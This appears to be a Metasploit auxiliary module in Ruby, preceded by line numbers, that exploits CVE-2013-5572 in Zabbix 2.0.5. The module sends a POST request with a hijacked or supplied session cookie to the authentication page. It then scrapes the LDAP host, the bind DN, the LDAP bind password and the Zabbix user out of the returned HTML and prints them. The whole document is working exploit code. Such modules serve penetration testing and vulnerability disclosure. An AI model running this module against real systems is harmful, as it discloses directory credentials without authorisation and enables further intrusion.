|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87  |  ## # This module requires Metasploit # Date: 25-09-2013 # Author: Pablo González # Vendor Homepage: Zabbix -> http://www.zabbix.com  # Software Link: http://www.zabbix.com  # Version: 2.0.5 # Tested On: Linux (Ubuntu, Suse, CentOS) # CVE: CVE-2013-5572 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5572 # More Info: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-5572 # http://www.elladodelmal.com/2014/12/como-crear-el-modulo-metasploit-para-el.html # http://seclists.org/fulldisclosure/2013/Sep/151 # http://www.cvedetails.com/cve/CVE-2013-5572/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'ldap_bind_password Zabbix CVE-2013-5572', 'Description'=> %q{ Zabbix 2.0.5 allows remote authenticated users to discover the LDAP bind password by leveraging management-console access and reading the ldap_bind_password value in the HTML source code. }, 'License'=> MSF_LICENSE, 'Author' => [ '@pablogonzalezpe, Pablo Gonzalez' ] )) register_options([ OptString.new('zbx_session', [true, 'Cookie zbx_sessionid']),  OptString.new('TARGETURI', [true, 'Path Zabbix Authentication','/zabbix/authentication.php']),  OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 5]) ], self.class) end def run req end def req  resp = send_request_cgi( {  'host' => datastore['RHOST'], 'method' => 'POST', 'uri' => normalize_uri(target_uri.path.to_s), 'cookie' => "zbx_sessionid=#{datastore['zbx_session']}",  'content-type' => 'application/x-www-form-urlencoded' }, datastore['TIMEOUT'])  ldap_host(resp)  user_passDomain(resp)  user_zabbix(resp) end def ldap_host(response)  cut = response.body.split("ldap_host\" value=\"")[1]  if cut != nil  host = cut.split("\"")[0]  print_good "LDAP Host => #{host}"  end end def user_passDomain(response)  cut = response.body.split("ldap_bind_dn\" value=\"")[1]  if cut != nil   user = cut.split("\"")[0]  print_good "User Domain? => #{user}"  end  cut = response.body.split("name=\"ldap_bind_password\" value=\"")[1]  if cut != nil  pass = cut.split("\"")[0]  print_good "Password Domain? => #{pass}"  end end def user_zabbix(response)  cut = response.body.split("user\" value=\"")[1]  if cut != nil  user = cut.split("\"")[0]  print_good "User Zabbix => #{user}"  end end end  |